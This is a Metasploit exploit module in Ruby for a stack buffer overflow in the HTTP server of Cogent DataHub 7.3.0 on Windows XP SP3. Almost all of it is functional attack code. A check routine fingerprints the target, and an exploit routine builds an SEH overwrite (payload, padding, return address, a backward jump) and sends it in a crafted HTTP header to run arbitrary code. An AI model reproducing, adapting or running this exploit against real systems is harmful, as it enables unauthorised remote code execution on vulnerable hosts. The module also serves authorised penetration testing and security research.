Cogent DataHub – HTTP Server Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Cogent DataHub HTTP Server Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow on Cogent DataHub 7.3.0. The vulnerability exists in the HTTP server - while handling HTTP headers, a strncpy() function is used in a dangerous way. This module has been tested successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3. }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez', # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '95819'], [ 'BID', '53455'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-178' ], [ 'URL', 'http://www.cogentdatahub.com/Info/130712_ZDI-CAN-1915_Response.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 33692, 'DisableNops' => true, 'BadChars' => "\x00\x0d\x0a\x3a" }, 'Platform' => 'win', 'Targets' => [ # Tested with the Cogent DataHub 7.3.0 Demo # CogentDataHubV7.exe 7.3.0.70 ['Windows XP SP3 English / Cogent DataHub 7.3.0', { 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates 'Offset' => 33692, 'CrashLength' => 4000 # In order to ensure crash before the stack cookie check } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 26 2013' )) end def check res = send_request_cgi({ 'uri' => "/datahub.asp", 'method' => 'GET', }) if res and res.code == 200 and res.body =~ /<title>DataHub - Web Data Browser<\/title>/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit print_status("Trying target #{target.name}...") off = target['Offset'] + 8 # 8 => length of the seh_record bof = payload.encoded bof << rand_text_alpha(target['Offset'] - payload.encoded.length) bof << generate_seh_record(target.ret) bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string bof << rand_text(target['CrashLength']) print_status("Sending request to #{rhost}:#{rport}") send_request_cgi({ 'uri' => "/", 'method' => 'GET', 'raw_headers' => "#{bof}: #{rand_text_alpha(20 + rand(20))}\r\n" }) end end |